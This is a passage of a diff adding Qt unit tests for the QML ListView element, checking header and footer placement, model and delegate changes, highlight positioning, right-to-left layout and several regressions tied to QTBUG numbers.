+ QSignalSpy headerSpy(listView, SIGNAL(headerChanged()));
+ QSignalSpy footerSpy(listView, SIGNAL(footerChanged()));
+
+ listView->setHighlight(&component);
+ listView->setHeader(&component);
+ listView->setFooter(&component);
+ listView->setDelegate(&delegateComponent);
+
+ QTRY_COMPARE(listView->highlight(), &component);
+ QTRY_COMPARE(listView->header(), &component);
+ QTRY_COMPARE(listView->footer(), &component);
+ QTRY_COMPARE(listView->delegate(), &delegateComponent);
+
+ QTRY_COMPARE(highlightSpy.count(),1);
+ QTRY_COMPARE(delegateSpy.count(),1);
+ QTRY_COMPARE(headerSpy.count(),1);
+ QTRY_COMPARE(footerSpy.count(),1);
+
+ listView->setHighlight(&component);
+ listView->setHeader(&component);
+ listView->setFooter(&component);
+ listView->setDelegate(&delegateComponent);
+
+ QTRY_COMPARE(highlightSpy.count(),1);
+ QTRY_COMPARE(delegateSpy.count(),1);
+ QTRY_COMPARE(headerSpy.count(),1);
+ QTRY_COMPARE(footerSpy.count(),1);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::modelChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QTRY_VERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml"));
+
+ QDeclarativeListView *listView = canvas->rootObject()->findChild<QDeclarativeListView*>("listView");
+ QTRY_VERIFY(listView);
+
+ QDeclarativeListModel *alternateModel = canvas->rootObject()->findChild<QDeclarativeListModel*>("alternateModel");
+ QTRY_VERIFY(alternateModel);
+ QVariant modelVariant = QVariant::fromValue(alternateModel);
+ QSignalSpy modelSpy(listView, SIGNAL(modelChanged()));
+
+ listView->setModel(modelVariant);
+ QTRY_COMPARE(listView->model(), modelVariant);
+ QTRY_COMPARE(modelSpy.count(),1);
+
+ listView->setModel(modelVariant);
+ QTRY_COMPARE(modelSpy.count(),1);
+
+ listView->setModel(QVariant());
+ QTRY_COMPARE(modelSpy.count(),2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::QTBUG_9791()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/strictlyenforcerange.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(canvas->rootObject());
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+ QTRY_VERIFY(listview->delegate() != 0);
+ QTRY_VERIFY(listview->model() != 0);
+
+ QMetaObject::invokeMethod(listview, "fillModel");
+ qApp->processEvents();
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ QCOMPARE(itemCount, 3);
+
+ for (int i = 0; i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), i*300.0);
+ }
+
+ // check that view is positioned correctly
+ QTRY_COMPARE(listview->contentX(), 590.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::manualHighlight()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ QString filename(SRCDIR "/data/manual-highlight.qml");
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(listview->currentIndex(), 0);
+ QTRY_COMPARE(listview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 0));
+ QTRY_COMPARE(listview->highlightItem()->y() - 5, listview->currentItem()->y());
+
+ listview->setCurrentIndex(2);
+
+ QTRY_COMPARE(listview->currentIndex(), 2);
+ QTRY_COMPARE(listview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 2));
+ QTRY_COMPARE(listview->highlightItem()->y() - 5, listview->currentItem()->y());
+
+ // QTBUG-15972
+ listview->positionViewAtIndex(3, QDeclarativeListView::Contain);
+
+ QTRY_COMPARE(listview->currentIndex(), 2);
+ QTRY_COMPARE(listview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 2));
+ QTRY_COMPARE(listview->highlightItem()->y() - 5, listview->currentItem()->y());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::QTBUG_11105()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ listview->positionViewAtIndex(20, QDeclarativeListView::Beginning);
+ QCOMPARE(listview->contentY(), 280.);
+
+ TestModel model2;
+ for (int i = 0; i < 5; i++)
+ model2.addItem("Item" + QString::number(i), "");
+
+ ctxt->setContextProperty("testModel", &model2);
+
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ QCOMPARE(itemCount, 5);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::header()
+{
+ {
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/header.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeText *header = findItem<QDeclarativeText>(contentItem, "header");
+ QVERIFY(header);
+ QCOMPARE(header->y(), 0.0);
+ QCOMPARE(header->height(), 20.0);
+
+ QCOMPARE(listview->contentY(), 0.0);
+
+ model.clear();
+ QTRY_COMPARE(header->y(), 0.0);
+
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader");
+
+ header = findItem<QDeclarativeText>(contentItem, "header");
+ QVERIFY(!header);
+ header = findItem<QDeclarativeText>(contentItem, "header2");
+ QVERIFY(header);
+
+ QCOMPARE(header->y(), 10.0);
+ QCOMPARE(header->height(), 10.0);
+ QCOMPARE(listview->contentY(), 10.0);
+
+ delete canvas;
+ }
+ {
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/header1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeText *header = findItem<QDeclarativeText>(contentItem, "header");
+ QVERIFY(header);
+ QCOMPARE(header->y(), 0.0);
+
+ QCOMPARE(listview->contentY(), 0.0);
+
+ model.clear();
+ QTRY_COMPARE(header->y(), 0.0);
+
+ delete canvas;
+ }
+}
+
+void tst_QDeclarativeListView::footer()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 3; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/footer.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeText *footer = findItem<QDeclarativeText>(contentItem, "footer");
+ QVERIFY(footer);
+ QCOMPARE(footer->y(), 60.0);
+ QCOMPARE(footer->height(), 30.0);
+
+ model.removeItem(1);
+ QTRY_COMPARE(footer->y(), 40.0);
+
+ model.clear();
+ QTRY_COMPARE(footer->y(), 0.0);
+
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter");
+
+ footer = findItem<QDeclarativeText>(contentItem, "footer");
+ QVERIFY(!footer);
+ footer = findItem<QDeclarativeText>(contentItem, "footer2");
+ QVERIFY(footer);
+
+ QCOMPARE(footer->y(), 600.0);
+ QCOMPARE(footer->height(), 20.0);
+ QCOMPARE(listview->contentY(), 0.0);
+
+ delete canvas;
+}
+
+class LVAccessor : public QDeclarativeListView
+{
+public:
+ qreal minY() const { return minYExtent(); }
+ qreal maxY() const { return maxYExtent(); }
+ qreal minX() const { return minXExtent(); }
+ qreal maxX() const { return maxXExtent(); }
+};
+
+void tst_QDeclarativeListView::headerFooter()
+{
+ {
+ // Vertical
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/headerfooter.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(canvas->rootObject());
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeItem *header = findItem<QDeclarativeItem>(contentItem, "header");
+ QVERIFY(header);
+ QCOMPARE(header->y(), 0.0);
+
+ QDeclarativeItem *footer = findItem<QDeclarativeItem>(contentItem, "footer");
+ QVERIFY(footer);
+ QCOMPARE(footer->y(), 20.0);
+
+ QVERIFY(static_cast<LVAccessor*>(listview)->minY() == 0);
+ QVERIFY(static_cast<LVAccessor*>(listview)->maxY() == 0);
+
+ delete canvas;
+ }
+ {
+ // Horizontal
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/headerfooter.qml"));
+ canvas->rootObject()->setProperty("horizontal", true);
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(canvas->rootObject());
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeItem *header = findItem<QDeclarativeItem>(contentItem, "header");
+ QVERIFY(header);
+ QCOMPARE(header->x(), 0.0);
+
+ QDeclarativeItem *footer = findItem<QDeclarativeItem>(contentItem, "footer");
+ QVERIFY(footer);
+ QCOMPARE(footer->x(), 20.0);
+
+ QVERIFY(static_cast<LVAccessor*>(listview)->minX() == 0);
+ QVERIFY(static_cast<LVAccessor*>(listview)->maxX() == 0);
+
+ delete canvas;
+ }
+ {
+ // Horizontal RTL
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/headerfooter.qml"));
+ canvas->rootObject()->setProperty("horizontal", true);
+ canvas->rootObject()->setProperty("rtl", true);
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(canvas->rootObject());
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeItem *header = findItem<QDeclarativeItem>(contentItem, "header");
+ QVERIFY(header);
+ QCOMPARE(header->x(), -20.0);
+
+ QDeclarativeItem *footer = findItem<QDeclarativeItem>(contentItem, "footer");
+ QVERIFY(footer);
+ QCOMPARE(footer->x(), -50.0);
+
+ QCOMPARE(static_cast<LVAccessor*>(listview)->minX(), 240.);
+ QCOMPARE(static_cast<LVAccessor*>(listview)->maxX(), 240.);
+
+ delete canvas;
+ }
+}
+
+void tst_QDeclarativeListView::resizeView()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 40; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
+ QVariant heightRatio;
+ QMetaObject::invokeMethod(canvas->rootObject(), "heightRatio", Q_RETURN_ARG(QVariant, heightRatio));
+ QCOMPARE(heightRatio.toReal(), 0.4);
+
+ listview->setHeight(200);
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "heightRatio", Q_RETURN_ARG(QVariant, heightRatio));
+ QCOMPARE(heightRatio.toReal(), 0.25);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::sizeLessThan1()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/sizelessthan1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*0.5);
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::QTBUG_14821()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtbug14821.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(canvas->rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ listview->decrementCurrentIndex();
+ QCOMPARE(listview->currentIndex(), 99);
+
+ listview->incrementCurrentIndex();
+ QCOMPARE(listview->currentIndex(), 0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::resizeDelegate()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringList strings;
+ for (int i = 0; i < 30; ++i)
+ strings << QString::number(i);
+ QStringListModel model(strings);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaylist.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(listview->count(), model.rowCount());
+
+ listview->setCurrentIndex(25);
+ listview->setContentY(0);
+
+ for (int i = 0; i < 16; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QVERIFY(item != 0);
+ QCOMPARE(item->y(), i*20.0);
+ }
+
+ QCOMPARE(listview->currentItem()->y(), 500.0);
+ QTRY_COMPARE(listview->highlightItem()->y(), 500.0);
+
+ canvas->rootObject()->setProperty("delegateHeight", 30);
+ qApp->processEvents();
+
+ for (int i = 0; i < 11; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QVERIFY(item != 0);
+ QTRY_COMPARE(item->y(), i*30.0);
+ }
+
+ QTRY_COMPARE(listview->currentItem()->y(), 750.0);
+ QTRY_COMPARE(listview->highlightItem()->y(), 750.0);
+
+ listview->setCurrentIndex(1);
+ listview->positionViewAtIndex(25, QDeclarativeListView::Beginning);
+ listview->positionViewAtIndex(5, QDeclarativeListView::Beginning);
+
+ for (int i = 5; i < 16; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QVERIFY(item != 0);
+ QCOMPARE(item->y(), i*30.0);
+ }
+
+ QTRY_COMPARE(listview->currentItem()->y(), 30.0);
+ QTRY_COMPARE(listview->highlightItem()->y(), 30.0);
+
+ canvas->rootObject()->setProperty("delegateHeight", 20);
+ qApp->processEvents();
+
+ for (int i = 5; i < 11; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QVERIFY(item != 0);
+ QTRY_COMPARE(item->y(), 150 + (i-5)*20.0);
+ }
+
+ QTRY_COMPARE(listview->currentItem()->y(), 70.0);
+ QTRY_COMPARE(listview->highlightItem()->y(), 70.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::QTBUG_16037()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtbug16037.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "listview");
+ QTRY_VERIFY(listview != 0);
+
+ QVERIFY(listview->contentHeight() <= 0.0);
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "setModel");
+
+ QTRY_COMPARE(listview->contentHeight(), 80.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::indexAt()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QCOMPARE(listview->indexAt(0,0), 0);
+ QCOMPARE(listview->indexAt(0,19), 0);
+ QCOMPARE(listview->indexAt(239,19), 0);
+ QCOMPARE(listview->indexAt(0,20), 1);
+ QCOMPARE(listview->indexAt(240,20), -1);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::incrementalModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ IncrementalModel model;
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaylist.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(listview->count(), 20);
+
+ listview->positionViewAtIndex(10, QDeclarativeListView::Beginning);
+
+ QTRY_COMPARE(listview->count(), 25);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::onAdd()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, itemsToAdd);
+
+ const int delegateHeight = 10;
+ TestModel2 model;
+
+ // these initial items should not trigger ListView.onAdd
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem("dummy value", "dummy value");
+
+ QDeclarativeView *canvas = createView();
+ canvas->setFixedSize(200, delegateHeight * (initialItemCount + itemsToAdd));
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+
+ QObject *object = canvas->rootObject();
+ object->setProperty("width", canvas->width());
+ object->setProperty("height", canvas->height());
+ qApp->processEvents();
+
+ QList<QPair<QString, QString> > items;
+ for (int i=0; i<itemsToAdd; i++)
+ items << qMakePair(QString("value %1").arg(i), QString::number(i));
+ model.addItems(items);
+
+ qApp->processEvents();
+
+ QVariantList result = object->property("addedDelegates").toList();
+ QCOMPARE(result.count(), items.count());
+ for (int i=0; i<items.count(); i++)
+ QCOMPARE(result[i].toString(), items[i].first);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::onAdd_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("itemsToAdd");
+
+ QTest::newRow("0, add 1") << 0 << 1;
+ QTest::newRow("0, add 2") << 0 << 2;
+ QTest::newRow("0, add 10") << 0 << 10;
+
+ QTest::newRow("1, add 1") << 1 << 1;
+ QTest::newRow("1, add 2") << 1 << 2;
+ QTest::newRow("1, add 10") << 1 << 10;
+
+ QTest::newRow("5, add 1") << 5 << 1;
+ QTest::newRow("5, add 2") << 5 << 2;
+ QTest::newRow("5, add 10") << 5 << 10;
+}
+
+void tst_QDeclarativeListView::onRemove()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, indexToRemove);
+ QFETCH(int, removeCount);
+
+ const int delegateHeight = 10;
+ TestModel2 model;
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem(QString("value %1").arg(i), "dummy value");
+
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+ QObject *object = canvas->rootObject();
+
+ qApp->processEvents();
+
+ model.removeItems(indexToRemove, removeCount);
+ qApp->processEvents();
+ QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::onRemove_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("indexToRemove");
+ QTest::addColumn<int>("removeCount");
+
+ QTest::newRow("remove first") << 1 << 0 << 1;
+ QTest::newRow("two items, remove first") << 2 << 0 << 1;
+ QTest::newRow("two items, remove last") << 2 << 1 << 1;
+ QTest::newRow("two items, remove all") << 2 << 0 << 2;
+
+ QTest::newRow("four items, remove first") << 4 << 0 << 1;
+ QTest::newRow("four items, remove 0-2") << 4 << 0 << 2;
+ QTest::newRow("four items, remove 1-3") << 4 << 1 << 2;
+ QTest::newRow("four items, remove 2-4") << 4 << 2 << 2;
+ QTest::newRow("four items, remove last") << 4 << 3 << 1;
+ QTest::newRow("four items, remove all") << 4 << 0 << 4;
+
+ QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8;
+ QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5;
+ QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6;
+}
+
+void tst_QDeclarativeListView::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; ListView { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; ListView { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeListView::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtBeginning"
+ << "";
+
+ QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtEnd"
+ << "";
+}
+
+void tst_QDeclarativeListView::rightToLeft()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setFixedSize(640,320);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/rightToLeft.qml"));
+ qApp->processEvents();
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "view");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeVisualItemModel *model = canvas->rootObject()->findChild<QDeclarativeVisualItemModel*>("itemModel");
+ QTRY_VERIFY(model != 0);
+
+ QTRY_VERIFY(model->count() == 3);
+ QTRY_COMPARE(listview->currentIndex(), 0);
+
+ // initial position at first item, right edge aligned
+ QCOMPARE(listview->contentX(), -640.);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "item1");
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), -100.0);
+ QCOMPARE(item->height(), listview->height());
+
+ QDeclarativeText *text = findItem<QDeclarativeText>(contentItem, "text1");
+ QTRY_VERIFY(text);
+ QTRY_COMPARE(text->text(), QLatin1String("index: 0"));
+
+ listview->setCurrentIndex(2);
+
+ item = findItem<QDeclarativeItem>(contentItem, "item3");
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), -540.0);
+
+ text = findItem<QDeclarativeText>(contentItem, "text3");
+ QTRY_VERIFY(text);
+ QTRY_COMPARE(text->text(), QLatin1String("index: 2"));
+
+ QCOMPARE(listview->contentX(), -640.);
+
+ // Ensure resizing maintains position relative to right edge
+ qobject_cast<QDeclarativeItem*>(canvas->rootObject())->setWidth(600);
+ QTRY_COMPARE(listview->contentX(), -600.);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::test_mirroring()
+{
+ QDeclarativeView *canvasA = createView();
+ canvasA->setSource(QUrl::fromLocalFile(SRCDIR "/data/rightToLeft.qml"));
+ QDeclarativeListView *listviewA = findItem<QDeclarativeListView>(canvasA->rootObject(), "view");
+ QTRY_VERIFY(listviewA != 0);
+
+ QDeclarativeView *canvasB = createView();
+ canvasB->setSource(QUrl::fromLocalFile(SRCDIR "/data/rightToLeft.qml"));
+ QDeclarativeListView *listviewB = findItem<QDeclarativeListView>(canvasB->rootObject(), "view");
+ QTRY_VERIFY(listviewA != 0);
+ qApp->processEvents();
+
+ QList<QString> objectNames;
+ objectNames << "item1" << "item2"; // << "item3"
+
+ listviewA->setProperty("layoutDirection", Qt::LeftToRight);
+ listviewB->setProperty("layoutDirection", Qt::RightToLeft);
+ QCOMPARE(listviewA->layoutDirection(), listviewA->effectiveLayoutDirection());
+
+ // LTR != RTL
+ foreach(const QString objectName, objectNames)
+ QVERIFY(findItem<QDeclarativeItem>(listviewA, objectName)->x() != findItem<QDeclarativeItem>(listviewB, objectName)->x());
+
+ listviewA->setProperty("layoutDirection", Qt::LeftToRight);
+ listviewB->setProperty("layoutDirection", Qt::LeftToRight);
+
+ // LTR == LTR
+ foreach(const QString objectName, objectNames)
+ QCOMPARE(findItem<QDeclarativeItem>(listviewA, objectName)->x(), findItem<QDeclarativeItem>(listviewB, objectName)->x());
+
+ QVERIFY(listviewB->layoutDirection() == listviewB->effectiveLayoutDirection());
+ QDeclarativeItemPrivate::get(listviewB)->setLayoutMirror(true);
+ QVERIFY(listviewB->layoutDirection() != listviewB->effectiveLayoutDirection());
+
+ // LTR != LTR+mirror
